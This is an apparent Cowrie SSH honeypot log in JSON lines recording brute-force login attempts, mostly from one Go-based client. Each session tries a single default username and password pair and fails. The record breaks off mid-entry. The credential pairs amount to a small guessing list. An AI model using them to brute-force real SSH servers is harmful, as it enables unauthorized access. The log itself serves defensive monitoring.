{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:33:06.080611Z","src_ip":"192.109.200.78","session":"b1e3e794e48b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root1234","password":"root1234","message":"login attempt [root1234/root1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:33:06.640368Z","src_ip":"192.109.200.78","session":"b1e3e794e48b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:33:07.725375Z","src_ip":"192.109.200.78","session":"b1e3e794e48b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":51942,"dst_ip":"10.17.0.5","dst_port":22,"session":"d734527f79f0","protocol":"ssh","message":"New connection: 192.109.200.78:51942 (10.17.0.5:22) [session: d734527f79f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:33:10.122570Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:33:10.128356Z","src_ip":"192.109.200.78","session":"d734527f79f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:33:10.211164Z","src_ip":"192.109.200.78","session":"d734527f79f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"123456","message":"login attempt [nginx/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:33:10.456717Z","src_ip":"192.109.200.78","session":"d734527f79f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:33:11.541091Z","src_ip":"192.109.200.78","session":"d734527f79f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":51952,"dst_ip":"10.17.0.5","dst_port":22,"session":"141126a2d2f5","protocol":"ssh","message":"New connection: 192.109.200.78:51952 (10.17.0.5:22) [session: 141126a2d2f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:33:14.453577Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:33:14.458389Z","src_ip":"192.109.200.78","session":"141126a2d2f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:33:14.540681Z","src_ip":"192.109.200.78","session":"141126a2d2f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev","message":"login attempt [dev/dev] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:33:14.796757Z","src_ip":"192.109.200.78","session":"141126a2d2f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:33:15.884375Z","src_ip":"192.109.200.78","session":"141126a2d2f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":48822,"dst_ip":"10.17.0.5","dst_port":22,"session":"961ae2695fde","protocol":"ssh","message":"New connection: 192.109.200.78:48822 (10.17.0.5:22) [session: 961ae2695fde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:33:18.475706Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:33:18.480355Z","src_ip":"192.109.200.78","session":"961ae2695fde","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:33:18.562938Z","src_ip":"192.109.200.78","session":"961ae2695fde","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux","message":"login attempt [linux/linux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:33:19.186918Z","src_ip":"192.109.200.78","session":"961ae2695fde","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:33:20.271089Z","src_ip":"192.109.200.78","session":"961ae2695fde","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":48834,"dst_ip":"10.17.0.5","dst_port":22,"session":"119e10d6fcaa","protocol":"ssh","message":"New connection: 192.109.200.78:48834 (10.17.0.5:22) [session: 119e10d6fcaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:33:23.759741Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:33:23.764896Z","src_ip":"192.109.200.78","session":"119e10d6fcaa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:33:23.850286Z","src_ip":"192.109.200.78","session":"119e10d6fcaa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solr","password":"solr","message":"login attempt [solr/solr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:33:24.101742Z","src_ip":"192.109.200.78","session":"119e10d6fcaa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:33:25.187785Z","src_ip":"192.109.200.78","session":"119e10d6fcaa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":48838,"dst_ip":"10.17.0.5","dst_port":22,"session":"088c01b2fde4","protocol":"ssh","message":"New connection: 192.109.200.78:48838 (10.17.0.5:22) [session: 088c01b2fde4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:33:26.866504Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:33:26.927286Z","src_ip":"192.109.200.78","session":"088c01b2fde4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:33:26.979913Z","src_ip":"192.109.200.78","session":"088c01b2fde4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bob","password":"bob","message":"login attempt [bob/bob] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:33:27.271605Z","src_ip":"192.109.200.78","session":"088c01b2fde4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:33:28.358844Z","src_ip":"192.109.200.78","session":"088c01b2fde4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":47264,"dst_ip":"10.17.0.5","dst_port":22,"session":"8708f4a00d04","protocol":"ssh","message":"New connection: 192.109.200.78:47264 (10.17.0.5:22) [session: 8708f4a00d04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:33:30.929933Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:33:30.934646Z","src_ip":"192.109.200.78","session":"8708f4a00d04","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:33:31.021652Z","src_ip":"192.109.200.78","session":"8708f4a00d04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgresql","password":"postgresql","message":"login attempt [postgresql/postgresql] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:33:31.282583Z","src_ip":"192.109.200.78","session":"8708f4a00d04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:33:32.460974Z","src_ip":"192.109.200.78","session":"8708f4a00d04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":53368,"dst_ip":"159.203.135.109","dst_port":22,"session":"719c67f256a0","protocol":"ssh","message":"New connection: 159.203.92.129:53368 (159.203.135.109:22) [session: 719c67f256a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:33:32.749161Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:33:32.754294Z","src_ip":"159.203.92.129","session":"719c67f256a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:33:32.759193Z","src_ip":"159.203.92.129","session":"719c67f256a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Tt123456","message":"login attempt [admin/Tt123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:33:32.770954Z","src_ip":"159.203.92.129","session":"719c67f256a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:33:33.778439Z","src_ip":"159.203.92.129","session":"719c67f256a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":47288,"dst_ip":"10.17.0.5","dst_port":22,"session":"a0022c8a840a","protocol":"ssh","message":"New connection: 192.109.200.78:47288 (10.17.0.5:22) [session: a0022c8a840a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:33:35.032302Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:33:35.066779Z","src_ip":"192.109.200.78","session":"a0022c8a840a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","r